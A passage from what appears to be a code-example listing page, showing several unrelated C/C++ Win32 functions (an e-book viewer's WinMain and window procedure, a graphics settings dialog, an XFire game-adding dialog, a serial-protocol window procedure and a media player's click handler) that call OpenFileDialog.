		PostQuitMessage(0);
		break;
	default:
		return DefWindowProc(hWnd, message, wParam, lParam);
	}
	return 0;
}
Example #19
0
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    CRLog::setFileLogger( "crengine.log" );
    CRLog::setLogLevel( CRLog::LL_TRACE );

 	// TODO: Place code here.
	MSG msg;
	HACCEL hAccelTable;

	//make_dither_table();

	//TestWol();
/*
    LVStreamRef zipfile = LVOpenFileStream( L"zip_test.zip", LVOM_READ );
    if (!zipfile.isNull())
    {
        LVContainerRef zip = LVOpenArchieve( zipfile );
        if (!zip.isNull())
        {
            LVStreamRef log = LVOpenFileStream("ziptest.log", LVOM_WRITE);
            for (int i=0; i<zip->GetObjectCount(); i++)
            {
                const LVContainerItemInfo * item = zip->GetObjectInfo(i);
                if (item)
                {
                    //
                    *log << UnicodeToLocal( item->GetName() );
                    *log << lString8::itoa( (int)item->GetSize() );

                    LVStreamRef unpstream = zip->OpenStream( item->GetName(), LVOM_READ );
                    if (!unpstream.isNull())
                    {
                        *log << "\n arc stream opened ok \n";
                        LVStreamRef outstream = LVOpenFileStream( item->GetName(), LVOM_WRITE );
                        if ( !outstream.isNull() )
                        {
                            int copiedBytes = (int)LVPumpStream( outstream, unpstream );
                            *log << " copied " << lString8::itoa(copiedBytes) << " bytes\n";
                        }
                        else
                        {
                            *log << " error opening out stream\n";
                        }
                    }
                }
            }
        }
    }
*/
	lString8 exe_dir;
	char exe_fn[MAX_PATH+1];
	GetModuleFileNameA( NULL, exe_fn, MAX_PATH );
	int last_slash = -1;
	int i;
	for (i=0; exe_fn[i]; i++)
		if (exe_fn[i]=='\\' || exe_fn[i]=='/')
			last_slash = i;
	if (last_slash>0)
		exe_dir = lString8( exe_fn, last_slash );

	// init hyphenation manager
	initHyph( (exe_dir + "\\russian_EnUS_hyphen_(Alan).pdb").c_str() );

    lString8 fontDir = exe_dir;
    fontDir << "\\fonts";

    // init bitmap font manager
    InitFontManager( fontDir );


    // Load font definitions into font manager
    // fonts are in files font1.lbf, font2.lbf, ... font32.lbf
#if (USE_FREETYPE==1)
        LVContainerRef dir = LVOpenDirectory( LocalToUnicode(fontDir).c_str() );
        if ( !dir.isNull() )
        for ( i=0; i<dir->GetObjectCount(); i++ ) {
            const LVContainerItemInfo * item = dir->GetObjectInfo(i);
            lString16 fileName = item->GetName();
            if ( !item->IsContainer() && fileName.length()>4 && lString16(fileName, fileName.length()-4, 4)==L".ttf" ) {
                lString8 fn = UnicodeToLocal(fileName);
                printf("loading font: %s\n", fn.c_str());
                if ( !fontMan->RegisterFont(fn) ) {
                    printf("    failed\n");
                }
            }
        }
        //fontMan->RegisterFont(lString8("arial.ttf"));
#else
#if (USE_WIN32_FONTS==0)

    #define MAX_FONT_FILE 32
    for (i=0; i<MAX_FONT_FILE; i++)
    {
        char fn[32];
        sprintf( fn, "font%d.lbf", i );
        fontMan->RegisterFont( lString8(fn) );
    }
#endif
#endif
    //LVCHECKPOINT("WinMain start");
    text_view = new LVDocView;

    // stylesheet can be placed to file fb2.css
    // if not found, default stylesheet will be used
    lString8 css = readFileToString( (exe_dir + "\\fb2.css").c_str() );
    if (css.length() > 0)
        text_view->setStyleSheet( css );

    //LVCHECKPOINT("WinMain before loads");

    if (!fontMan->GetFontCount())
    {
        //error
        char str[1000];
#if (USE_FREETYPE==1)
        sprintf(str, "Cannot open font file(s) fonts/*.ttf \nCannot work without font\nPlace some TTF files to font\\ directory" );
#else
        sprintf(str, "Cannot open font file(s) font#.lbf \nCannot work without font\nUse FontConv utility to generate .lbf fonts from TTF" );
#endif
        MessageBoxA( NULL, str, "CR Engine :: Fb2Test -- fatal error!", MB_OK);
        return 1;
    }

    lString8 cmdline(lpCmdLine);
    cmdline.trim();
    if ( cmdline == "test_format" ) {
        testFormatting();
        return 1;
    }
    if (cmdline.empty())
    {
        cmdline = OpenFileDialog( NULL );
        //cmdline = "example2.fb2";
    }

    if ( cmdline.empty() )
        return 2;
    if ( !text_view->LoadDocument( cmdline.c_str() ))
    {
        //error
        char str[100];
        sprintf(str, "Cannot open document file %s", cmdline.c_str());
        MessageBoxA( NULL, str, "CR Engine :: Fb2Test -- fatal error!", MB_OK);
        return 1;
    }

    //LVCHECKPOINT("WinMain after loads");

	// Initialize global strings
	MyRegisterClass(hInstance);

	// Perform application initialization:
	if (!InitInstance (hInstance, nCmdShow))
	{
		return FALSE;
	}


	hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_FONTTEST);

	// Main message loop:
	while (GetMessage(&msg, NULL, 0, 0))
	{
		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
		{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
		}
	}

    delete text_view;

    ShutdownFontManager();

	return msg.wParam;
}
Example #20
0
bool GSSettingsDlg::OnCommand(HWND hWnd, UINT id, UINT code)
{
    switch (id)
    {
    case IDC_ADAPTER:
        if (code == CBN_SELCHANGE)
        {
            UpdateRenderers();
            UpdateControls();
        }
        break;
    case IDC_RENDERER:
    case IDC_UPSCALE_MULTIPLIER:
    case IDC_FILTER:
        if (code == CBN_SELCHANGE)
            UpdateControls();
        break;
    case IDC_SHADEBOOST:
    case IDC_SHADER_FX:
    case IDC_PALTEX:
    case IDC_HACKS_ENABLED:
        if (code == BN_CLICKED)
            UpdateControls();
        break;
    case IDC_SHADEBUTTON:
        if (code == BN_CLICKED)
            ShadeBoostDlg.DoModal();
        break;
    case IDC_HACKSBUTTON:
        if (code == BN_CLICKED)
            HacksDlg.DoModal();
        break;
    case IDC_SHADER_FX_BUTTON:
        if (code == BN_CLICKED)
            OpenFileDialog(IDC_SHADER_FX_EDIT, "Select External Shader");
        break;
    case IDC_SHADER_FX_CONF_BUTTON:
        if (code == BN_CLICKED)
            OpenFileDialog(IDC_SHADER_FX_CONF_EDIT, "Select External Shader Config");
        break;
    case IDOK:
    {
        INT_PTR data;

        if(ComboBoxGetSelData(IDC_ADAPTER, data))
        {
            theApp.SetConfig("Adapter", adapters[(int)data].id.c_str());
        }

        if(ComboBoxGetSelData(IDC_OPENCL_DEVICE, data))
        {
            if ((int)data < m_ocl_devs.size()) {
                theApp.SetConfig("ocldev", m_ocl_devs[(int)data].name.c_str());
            }
        }

        if(ComboBoxGetSelData(IDC_RENDERER, data))
        {
            theApp.SetConfig("Renderer", (int)data);
        }

        if(ComboBoxGetSelData(IDC_INTERLACE, data))
        {
            theApp.SetConfig("Interlace", (int)data);
        }

        if(ComboBoxGetSelData(IDC_UPSCALE_MULTIPLIER, data))
        {
            theApp.SetConfig("upscale_multiplier", (int)data);
        }
        else
        {
            theApp.SetConfig("upscale_multiplier", 1);
        }

        if (ComboBoxGetSelData(IDC_FILTER, data))
        {
            theApp.SetConfig("filter", (int)data);
        }

        if(ComboBoxGetSelData(IDC_ACCURATE_BLEND_UNIT, data))
        {
            theApp.SetConfig("accurate_blending_unit", (int)data);
        }

        if (ComboBoxGetSelData(IDC_CRC_LEVEL, data))
        {
            theApp.SetConfig("crc_hack_level", (int)data);
        }

        if(ComboBoxGetSelData(IDC_AFCOMBO, data))
        {
            theApp.SetConfig("MaxAnisotropy", (int)data);
        }

        theApp.SetConfig("paltex", (int)IsDlgButtonChecked(m_hWnd, IDC_PALTEX));
        theApp.SetConfig("logz", (int)IsDlgButtonChecked(m_hWnd, IDC_LOGZ));
        theApp.SetConfig("fba", (int)IsDlgButtonChecked(m_hWnd, IDC_FBA));
        theApp.SetConfig("aa1", (int)IsDlgButtonChecked(m_hWnd, IDC_AA1));
        theApp.SetConfig("mipmap", (int)IsDlgButtonChecked(m_hWnd, IDC_MIPMAP));
        theApp.SetConfig("resx", (int)SendMessage(GetDlgItem(m_hWnd, IDC_RESX), UDM_GETPOS, 0, 0));
        theApp.SetConfig("resy", (int)SendMessage(GetDlgItem(m_hWnd, IDC_RESY), UDM_GETPOS, 0, 0));
        theApp.SetConfig("extrathreads", (int)SendMessage(GetDlgItem(m_hWnd, IDC_SWTHREADS), UDM_GETPOS, 0, 0));
        theApp.SetConfig("accurate_date", (int)IsDlgButtonChecked(m_hWnd, IDC_ACCURATE_DATE));
        theApp.SetConfig("texture_cache_depth", (int)IsDlgButtonChecked(m_hWnd, IDC_TC_DEPTH));

        // Shade Boost
        theApp.SetConfig("ShadeBoost", (int)IsDlgButtonChecked(m_hWnd, IDC_SHADEBOOST));

        // FXAA shader
        theApp.SetConfig("Fxaa", (int)IsDlgButtonChecked(m_hWnd, IDC_FXAA));

        // External FX Shader
        theApp.SetConfig("shaderfx", (int)IsDlgButtonChecked(m_hWnd, IDC_SHADER_FX));

        // External FX Shader(OpenGL)
        int shader_fx_length = (int)SendMessage(GetDlgItem(m_hWnd, IDC_SHADER_FX_EDIT), WM_GETTEXTLENGTH, 0, 0);
        int shader_fx_conf_length = (int)SendMessage(GetDlgItem(m_hWnd, IDC_SHADER_FX_CONF_EDIT), WM_GETTEXTLENGTH, 0, 0);
        int length = std::max(shader_fx_length, shader_fx_conf_length) + 1;
        char *buffer = new char[length];

        SendMessage(GetDlgItem(m_hWnd, IDC_SHADER_FX_EDIT), WM_GETTEXT, (WPARAM)length, (LPARAM)buffer);
        theApp.SetConfig("shaderfx_glsl", buffer); // Not really glsl only ;)
        SendMessage(GetDlgItem(m_hWnd, IDC_SHADER_FX_CONF_EDIT), WM_GETTEXT, (WPARAM)length, (LPARAM)buffer);
        theApp.SetConfig("shaderfx_conf", buffer);

        delete [] buffer;

        theApp.SetConfig("UserHacks", (int)IsDlgButtonChecked(m_hWnd, IDC_HACKS_ENABLED));
    }
    break;
    }

    return __super::OnCommand(hWnd, id, code);
}
Example #21
0
INT_PTR CALLBACK DlgAddGameProc(HWND hwndDlg,
	UINT uMsg,
	WPARAM wParam,
	LPARAM lParam
	)
{
	switch (uMsg) {
	case WM_INITDIALOG:
	{
		//übersetzen lassen
		TranslateDialogDefault(hwndDlg);


		//per thread liste füllen
		mir_forkthread(FillGameList, hwndDlg);
	}
		break;
	case WM_COMMAND:
		if (LOWORD(wParam) == IDC_SEARCH && HIWORD(wParam) == EN_CHANGE)
		{
			char temp[256];
			//eingabe bei der suche auslesen
			GetDlgItemTextA(hwndDlg, IDC_SEARCH, temp, SIZEOF(temp));
			//eingabe in der liste suchen
			int idx = SendDlgItemMessageA(hwndDlg, IDC_GAMELIST, LB_FINDSTRING, 0, (LPARAM)temp);
			//gefunden?
			if (idx != LB_ERR)
			{
				//als aktiv setzen
				SendDlgItemMessage(hwndDlg, IDC_GAMELIST, LB_SETCURSEL, idx, 0);
			}
		}
		else if (LOWORD(wParam) == IDCANCEL)
		{
			//nicht schließen, wenn noch der thread läuft
			if (dontClose) {
				MessageBox(hwndDlg, TranslateT("Please wait, game.ini will be currently parsed..."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
				return FALSE;
			}
			return SendMessage(GetParent(hwndDlg), WM_CLOSE, 0, 0);
		}
		else if (LOWORD(wParam) == IDC_CUSTOM)
		{
			int idx = SendDlgItemMessage(hwndDlg, IDC_GAMELIST, LB_GETCURSEL, 0, 0);
			//es wurde was ausgewählt?
			if (idx == LB_ERR) {
				MessageBox(hwndDlg, TranslateT("Please choose one game in the list!"), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
			}
			else
			{
				char ret[512] = "";
				char gameidtemp[10] = "";

				int gameids = SendDlgItemMessage((HWND)hwndDlg, IDC_GAMELIST, LB_GETITEMDATA, idx, 0);
				//gameid splitten
				int gameid1 = LOWORD(gameids);
				int gameid2 = HIWORD(gameids);

				if (gameid2 != 0)
					mir_snprintf(gameidtemp, SIZEOF(gameidtemp), "%d_%d", gameid1, gameid2);
				else
					mir_snprintf(gameidtemp, SIZEOF(gameidtemp), "%d", gameid1);

				//spielnamen holen
				if (xfire_GetPrivateProfileString(gameidtemp, "LongName", "", ret, 512, inipath)) {
					mir_snprintf(gameidtemp, SIZEOF(gameidtemp), "%d", gameid1);

					//einige felder vorbelegen
					SetDlgItemTextA(hPage, IDC_ADD_NAME, ret);
					SetDlgItemText(hPage, IDC_ADD_DETECTEXE, _T(""));
					SetDlgItemText(hPage, IDC_ADD_LAUNCHEREXE, _T(""));
					SetDlgItemTextA(hPage, IDC_ADD_ID, gameidtemp);
					SetDlgItemText(hPage, IDC_ADD_STATUSMSG, _T(""));
					SetDlgItemText(hPage, IDC_ADD_CUSTOMPARAMS, _T(""));
					SetDlgItemTextA(hPage, IDC_ADD_SENDID, gameidtemp);

					//auf customeintrag edit tab wechseln
					TabCtrl_SetCurSel(hwndTab, 1);
					ShowWindow(hwndDlg, SW_HIDE);
					ShowWindow(hPage, SW_SHOW);
				}
			}
		}
		else if (LOWORD(wParam) == IDOK)
		{
			int idx = SendDlgItemMessage(hwndDlg, IDC_GAMELIST, LB_GETCURSEL, 0, 0);
			//es wurde was ausgewählt?
			if (idx == LB_ERR) {
				MessageBox(hwndDlg, TranslateT("Please choose one game in the list!"), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
			}
			else
			{
				//datei öffnen dialog
				OPENFILENAMEA ofn;
				//listdata auslesen, wo die gameid gespeihcert ist
				int gameids = SendDlgItemMessage((HWND)hwndDlg, IDC_GAMELIST, LB_GETITEMDATA, idx, 0);
				//gameid splitten
				int gameid1 = LOWORD(gameids);
				int gameid2 = HIWORD(gameids);
				char gameidtemp[10] = "";
				char ret[512];

				if (gameid2 != 0)
					mir_snprintf(gameidtemp, SIZEOF(gameidtemp), "%d_%d", gameid1, gameid2);
				else
					mir_snprintf(gameidtemp, SIZEOF(gameidtemp), "%d", gameid1);

				//neuen gameeintrag anlegen
				Xfire_game* newgame = new Xfire_game();
				//gameid und sendid setzen
				newgame->id = gameid1;
				newgame->send_gameid = gameid1;
				//es handelt sich um einen customeintrag, man staune xD
				newgame->custom = 1;

				//launcherexe abfragen
				if (xfire_GetPrivateProfileString(gameidtemp, "LauncherExe", "", ret, 512, inipath)) {
					//datei vom user öffnen lassen
					if (OpenFileDialog(hwndDlg, &ofn, ret))
					{
						//lowercase pfad
						newgame->strtolower(ofn.lpstrFile);
						//pfad dem spiel zuordnen
						newgame->setString(ofn.lpstrFile, &newgame->launchparams);
					}
					else
					{
						//speicher freigeben
						delete newgame;
						return FALSE;
					}
				}

				//detectexe abfragen
				if (xfire_GetPrivateProfileString(gameidtemp, "DetectExe", "", ret, 512, inipath)) {
					//datei vom user öffnen lassen
					if (OpenFileDialog(hwndDlg, &ofn, ret))
					{
						//lowercase pfad
						newgame->strtolower(ofn.lpstrFile);
						//pfad dem spiel zuordnen
						newgame->setString(ofn.lpstrFile, &newgame->path);
					}
					else
					{
						//speicher freigeben
						delete newgame;
						return FALSE;
					}
				} //MatchExe abfragen
				else if (xfire_GetPrivateProfileString(gameidtemp, "MatchExe", "", ret, 512, inipath)) {
					//datei vom user öffnen lassen
					if (OpenFileDialog(hwndDlg, &ofn, ret))
					{
						//lowercase pfad
						newgame->strtolower(ofn.lpstrFile);
						//pfad dem spiel zuordnen
						newgame->setString(ofn.lpstrFile, &newgame->path);
					}
					else
					{
						//speicher freigeben
						delete newgame;
						return FALSE;
					}
				}


				//prüfe ob schon ein launchstring festgelegt wurde, wenn nicht die detectexe nehmen
				if (!newgame->launchparams&&newgame->path) {
					newgame->setString(newgame->path, &newgame->launchparams);
				}

				//prüfe ob schon ein detectexe festgelegt wurde, wenn nicht die launchstring nehmen
				if (newgame->launchparams&&!newgame->path) {
					newgame->setString(newgame->launchparams, &newgame->path);
				}

				//LauncherUrl wird der launcherstring überschrieben
				if (xfire_GetPrivateProfileString(gameidtemp, "LauncherUrl", "", ret, 512, inipath)) {
					newgame->setString(ret, &newgame->launchparams);
				}
				else if (xfire_GetPrivateProfileString(gameidtemp, "Launch", "", ret, 512, inipath)) {
					str_replace(ret, "%UA_LAUNCHER_EXE_PATH%", ""); //erstmal unwichtige sachen entfernen
					//str_replace(ret,"%UA_LAUNCHER_EXTRA_ARGS%",""); // - auch entfernen	
					str_replace(ret, "%UA_LAUNCHER_LOGIN_ARGS%", ""); // - auch entfernen	

					//ein leerzeichen anfügen
					newgame->appendString(" ", &newgame->launchparams);
					//nun commandline des launchstringes dranhängen
					newgame->appendString(ret, &newgame->launchparams);
				}

				//restliche wichtige felder einfügen
				if (xfire_GetPrivateProfileString(gameidtemp, "LauncherPasswordArgs", "", ret, 512, inipath))
					newgame->setString(ret, &newgame->pwparams);
				if (xfire_GetPrivateProfileString(gameidtemp, "LauncherNetworkArgs", "", ret, 512, inipath))
					newgame->setString(ret, &newgame->networkparams);
				if (xfire_GetPrivateProfileString(gameidtemp, "CommandLineMustContain[0]", "", ret, 512, inipath))
					newgame->setString(ret, &newgame->mustcontain);
				if (xfire_GetPrivateProfileString(gameidtemp, "XUSERSendId", "", ret, 512, inipath))
					newgame->send_gameid = atoi(ret);
				if (xfire_GetPrivateProfileString(gameidtemp, "XUSERSetStatusMsg", "", ret, 512, inipath))
					newgame->setstatusmsg = atoi(ret);

				//namen setzen und icon laden
				newgame->setNameandIcon();
				//spiel in die gameliste einfügen
				xgamelist.Addgame(newgame);
				//derzeitige gameliste in die datenbank eintragen
				xgamelist.writeDatabase();
				//startmenu leeren
				xgamelist.clearStartmenu();
				//startmenu neuerzeugen
				xgamelist.createStartmenu();

				return SendMessage(GetParent(hwndDlg), WM_CLOSE, 0, 0);
			}
		}
		break;
	case WM_CLOSE:
		//nicht schließen, wenn noch der thread läuft
		if (dontClose) {
			MessageBox(hwndDlg, TranslateT("Please wait, game.ini will be currently parsed..."), TranslateT("XFire Options"), MB_OK | MB_ICONEXCLAMATION);
			return FALSE;
		}
		//hauptfenster schließen
		SendMessage(GetParent(hwndDlg), WM_CLOSE, 0, 0);
		break;
	}
	return FALSE;
}
Example #22
0
//
//  FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
//  PURPOSE:  Processes messages for the main window.
//
//  WM_COMMAND	- process the application menu
//  WM_PAINT	- Paint the main window
//  WM_DESTROY	- post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;
	PAINTSTRUCT ps;
	HDC hdc;
	TCHAR szHello[MAX_LOADSTRING];
	LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING);

	switch (message)
	{
		case WM_CREATE:
            {
		        LVDocImageRef img = text_view->getPageImage( 0 );
                img->getDrawBuf();
		        UpdateScrollBar(hWnd);
            }
		    break;
		case WM_ERASEBKGND:
            break;
		case WM_VSCROLL:
            {
                switch (LOWORD(wParam))
                {
                case SB_TOP:
                	DoCommand( hWnd, DCMD_BEGIN );
                    break;
                case SB_BOTTOM:
                	DoCommand( hWnd, DCMD_END );
                    break;
                case SB_LINEDOWN:
                	DoCommand( hWnd, DCMD_LINEDOWN, 1 );
                    break;
                case SB_LINEUP:
                	DoCommand( hWnd, DCMD_LINEUP, 1 );
                    break;
                case SB_PAGEDOWN:
                	DoCommand( hWnd, DCMD_PAGEDOWN, 1 );
                    break;
                case SB_PAGEUP:
                	DoCommand( hWnd, DCMD_PAGEUP, 1 );
                    break;
                case SB_THUMBPOSITION:
                	DoCommand( hWnd, DCMD_GO_POS,
                        text_view->scrollPosToDocPos( HIWORD(wParam) )
                	 );
                    break;
                case SB_THUMBTRACK:
                	DoCommand( hWnd, DCMD_GO_POS,
                        text_view->scrollPosToDocPos( HIWORD(wParam) )
                	 );
                    break;
                case SB_ENDSCROLL:
                	DoCommand( hWnd, DCMD_GO_POS,
                        text_view->GetPos()
                	 );
                    break;
                }
            }
            break;
		case WM_SIZE:
            {
				if (wParam!=SIZE_MINIMIZED)
				{
					text_view->Resize(LOWORD(lParam), HIWORD(lParam));
					UpdateScrollBar( hWnd );
				}
            }
            break;
#ifndef WM_MOUSEWHEEL
#define WM_MOUSEWHEEL                   0x020A
#define WHEEL_DELTA                     120     /* Value for rolling one detent */
#endif
		case WM_MOUSEWHEEL:
			{
  			int delta = ((lInt16)HIWORD(wParam))/WHEEL_DELTA;
  			if (delta<0)
  				DoCommand( hWnd, DCMD_LINEDOWN, 3 );
  			else if (delta>0)
  				DoCommand( hWnd, DCMD_LINEUP, 3 );
			}
            break;
		case WM_KEYDOWN:
            {
                switch( wParam )
                {
                case VK_F3:
                   {
                        lString8 fn = OpenFileDialog( hWnd );
                        if ( !fn.empty() )
                        {
                            text_view->LoadDocument( fn.c_str() );
                            text_view->Render();
                			DoCommand( hWnd, DCMD_BEGIN );
                        }
                   }
                    break;
                case VK_F2:
           			Export(hWnd, false);
                    break;
                case VK_F5:
           			Export(hWnd, true);
                    break;
                case VK_UP:
           			DoCommand( hWnd, DCMD_LINEUP, 1 );
                    break;
                case VK_DOWN:
           			DoCommand( hWnd, DCMD_LINEDOWN, 1 );
                    break;
                case VK_NEXT:
           			DoCommand( hWnd, DCMD_PAGEDOWN, 1 );
                    break;
                case VK_PRIOR:
           			DoCommand( hWnd, DCMD_PAGEUP, 1 );
                    break;
                case VK_HOME:
           			DoCommand( hWnd, DCMD_BEGIN );
                    break;
                case VK_END:
           			DoCommand( hWnd, DCMD_END );
                    break;
                case VK_ADD:
                case VK_SUBTRACT:
                    {
                        text_view->ZoomFont( wParam==VK_ADD ? 1 : -1 );
                        UpdateScrollBar( hWnd );
                    }
                	break;
                case VK_TAB:
                    {
                        bool shift = (GetKeyState( VK_SHIFT ) & 0x8000)!=0;
                        if ( shift )
                            text_view->selectPrevPageLink( true );
                        else
                            text_view->selectNextPageLink( true );
                        UpdateScrollBar( hWnd );
                    }
                    //Update(hWnd);
                    break;
                case VK_RETURN:
                    text_view->goSelectedLink();
                    UpdateScrollBar( hWnd );
                    break;
                case VK_BACK:
                    text_view->goBack();
                    UpdateScrollBar( hWnd );
                    break;
                }
            }
            break;
        case WM_LBUTTONDOWN:
            {
                int xPos = lParam & 0xFFFF;
                int yPos = (lParam >> 16) & 0xFFFF;
                ldomXPointer ptr = text_view->getNodeByPoint( lvPoint( xPos, yPos ) );
                if ( !ptr.isNull() ) {
                    if ( ptr.getNode()->isText() ) {
                        ldomXRange * wordRange = new ldomXRange();
                        if ( ldomXRange::getWordRange( *wordRange, ptr ) ) {
                            wordRange->setFlags( 0x10000 );
                            text_view->getDocument()->getSelections().clear();
                            text_view->getDocument()->getSelections().add( wordRange );
                            text_view->updateSelections();
                            UpdateScrollBar( hWnd );
                        } else {
                            delete wordRange;
                        }
                    }
                }

            }
            break;
		case WM_COMMAND:
			wmId    = LOWORD(wParam);
			wmEvent = HIWORD(wParam);
			// Parse the menu selections:
			switch (wmId)
			{
				case IDM_ABOUT:
				   DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
				   break;
				case IDM_EXIT:
				   DestroyWindow(hWnd);
				   break;
				case ID_ZOOM_IN:
                case ID_ZOOM_OUT:
                    {
                        text_view->ZoomFont( wParam==ID_ZOOM_IN ? 1 : -1 );
                        UpdateScrollBar( hWnd );
                    }
                    break;
				case IDM_FILE_OPEN:
                   {
                        lString8 fn = OpenFileDialog( hWnd );
                        if ( !fn.empty() )
                        {
                            text_view->LoadDocument( fn.c_str() );
                            text_view->Render();
                			DoCommand( hWnd, DCMD_BEGIN );
                        }
                   }
				   break;
				default:
				   return DefWindowProc(hWnd, message, wParam, lParam);
			}
			break;
		case WM_PAINT:
            {
			    hdc = BeginPaint(hWnd, &ps);
		        LVDocImageRef img = text_view->getPageImage( 0 );
                LVDrawBuf * drawBuf = img->getDrawBuf();
                /*
                ldomXRangeList links;
                ldomXRangeList & sel = text_view->getDocument()->getSelections();
                text_view->getCurrentPageLinks( links );
                int linkCount = links.length();
                if ( linkCount ) {
                    sel.clear();
                    sel.add( new ldomXRange(*links[0]) );
                    for ( int i=0; i<linkCount; i++ ) {
                        lString16 txt = links[i]->getRangeText();
                        lString8 txt8 = UnicodeToLocal( txt );
                        const char * s = txt8.c_str();
                        txt.clear();
                    }
                    linkCount++;
                    text_view->updateSelections();
                }
                */
                drawBuf->DrawTo( hdc, 0, 0, 0, NULL);

                //COLORREF pal[4]={0xFFFFFF, 0xAAAAAA, 0x555555, 0x000000};
                //DrawBuf2DC( hdc, 0, 0, text_view->GetDrawBuf(), pal, 1 );

                EndPaint(hWnd, &ps);
            }
			break;
		case WM_DESTROY:
			PostQuitMessage(0);
			break;
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}
Example #23
0
/*
FUNCTION: WndProc
DATE: 12/2/2015
REVISIONS: v3 - changed all IO operations to overlapped
DESIGNER: Dylan & Allen & Thomas
PROGRAMMER: Dylan & Allen
INTERFACE: LRESULT CALLBACK WndProc (HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam)
			HWND hwnd : handle to the the main window
			UINT Message : message sent from the message loop to the window
			WPARAM wParam : parameters to the message
			LPARAM lParam : parameters to the message
RETURNS: The default window procedure or 0

NOTES: Handles all button presses from the main window as well as
		events from the serial port reading thread
*/
LRESULT CALLBACK WndProc (HWND hwnd, UINT Message,
                          WPARAM wParam, LPARAM lParam) 
{

	switch (Message)
	{
	case WM_CREATE:
		break;
	case WM_COMMAND:
		switch (LOWORD(wParam)) {
		case ASN_ENQ:
			if (state != IDLE && state != WAIT) {
				OutputDebugString("ENQ but not idling\n");
				break;
			}
			startWriting();
			// send ENQ to the serial port and assume it never fails
			WriteFile(hComm, enq, 1, NULL, &OVERLAPPED());
			state = WENQACK;
			OutputDebugString("ENQ sent\n");
			finishWriting();
			break;
		case ASN_SET:
			startWriting();
			if (!CommConfigDialog(TEXT("com1"), hMain, &cc)) {
				return FALSE;
			}
			else {
				SetCommConfig(hComm, &cc, cc.dwSize);
				PurgeComm(hComm, PURGE_RXCLEAR);
			}
			finishWriting();
			break;
		case ASN_CON:
			OpenFileDialog();
			break;
		case ASN_CLR:
			ClearTextBoxes();
			break;
		case ASN_QUIT:
			PostQuitMessage(0);
			break;
		case ASN_HLP:
			break;
		case ASN_OPN:
			OpenFileDialog();
			break;
		case ACK_REC:
			if (state != WACK && state != WENQACK) {
				OutputDebugString("ACK received but not waiting for ACK before sending a packet\n");
				break;
			}
			if (state == WENQACK) {
				OutputDebugString("ACK received\n");
				acksReceived++;
				SetStatistics();
				if (packetBuffer[currentPacket][0] != 0) {
					OVERLAPPED overlapped = { 0 };
					overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
					startWriting();
					if (!WriteFile(hComm, packetBuffer[currentPacket++], PACKETLENGTH, NULL, &overlapped)) {
						WaitForSingleObject(overlapped.hEvent, TIMEOUT);						
					}

					OutputDebugString("Sent a packet\n");
					packetsSent++;
					SetStatistics();
					// ENQ the line to send the next packet
					// THIS SHOULD BE REPLACED BY THE APPROPRIATE PRIORTIY PROTOCOL
					/*
					if (packetBuffer[currentPacket][0] != 0) {
						WriteFile(hComm, enq, 1, NULL, NULL);
					}
					*/
					finishWriting();
				}
				OutputDebugString("Going to WACK state\n");
				state = WACK;
				break;
			}
			if (state == WACK) {
				OutputDebugString("Packet confirmed received\n");
				OutputDebugString("Going to WAIT state\n");
				state = WAIT;
				packsAcked++;
				acksReceived++;
				SetStatistics();
			}
			break;
		}
		break; // end WM_COMMAND
	case WM_CHAR:
		break;
	case WM_SIZE:
		break;
	case WM_DESTROY:	// Terminate program
		PostQuitMessage(0);
		break;
	default:
		return DefWindowProc(hwnd, Message, wParam, lParam);
	}
	return 0;
}
Example #24
0
void CDuiFrameWnd::OnClick( TNotifyUI& msg )
{
    if( msg.pSender->GetName() == _T("btnPlaylistShow") ) 
    {
        ShowPlaylist(true);
    }
    else if( msg.pSender->GetName() == _T("btnPlaylistHide") ) 
    {
        ShowPlaylist(false);
    }
    else if( msg.pSender->GetName() == _T("btnFastBackward") ) 
    {
        m_cAVPlayer.SeekBackward();
        ::PostMessage(*this, WM_USER_POS_CHANGED, 0, m_cAVPlayer.GetPos());
    }
    else if( msg.pSender->GetName() == _T("btnFastForward") ) 
    {
        m_cAVPlayer.SeekForward();
        ::PostMessage(*this, WM_USER_POS_CHANGED, 0, m_cAVPlayer.GetPos());
    }
    else if( msg.pSender->GetName() == _T("btnPrevious") ) 
    {
        Play(GetNextPath(false));
    }
    else if( msg.pSender->GetName() == _T("btnNext") ) 
    {
        Play(GetNextPath(true));
    }
    else if( msg.pSender->GetName() == _T("btnPlay") ) 
    {
        Play(true);
    }
    else if( msg.pSender->GetName() == _T("btnPause") ) 
    {
        Play(false);
    }
    else if( msg.pSender->GetName() == _T("btnStop") ) 
    {
        Stop();
    }
    else if( msg.pSender->GetName() == _T("btnOpen") || msg.pSender->GetName() == _T("btnOpenMini") ) 
    {
        OpenFileDialog(); 
    }
    else if( msg.pSender->GetName() == _T("btnRefresh") ) 
    {
        CEditUI* pUI = static_cast<CEditUI*>(m_PaintManager.FindControl(_T("editURL")));
        Play(pUI->GetText());
    }
    else if( msg.pSender->GetName() == _T("btnScreenFull") ) 
    {
        FullScreen(true);
    }
    else if( msg.pSender->GetName() == _T("btnScreenNormal") ) 
    {
        FullScreen(false);
    }
    else if( msg.pSender->GetName() == _T("btnVolume") ) 
    {
        m_cAVPlayer.Volume(0);
        m_PaintManager.FindControl(_T("btnVolumeZero"))->SetVisible(true);
        msg.pSender->SetVisible(false);
    }
    else if( msg.pSender->GetName() == _T("btnVolumeZero") ) 
    {
        CSliderUI* pUI = static_cast<CSliderUI*>(m_PaintManager.FindControl(_T("sliderVol")));
        m_cAVPlayer.Volume(pUI->GetValue());
        m_PaintManager.FindControl(_T("btnVolume"))->SetVisible(true);
        msg.pSender->SetVisible(false);
    }
    else if( msg.pSender->GetName() == _T("btnPlayMode") ) 
    {
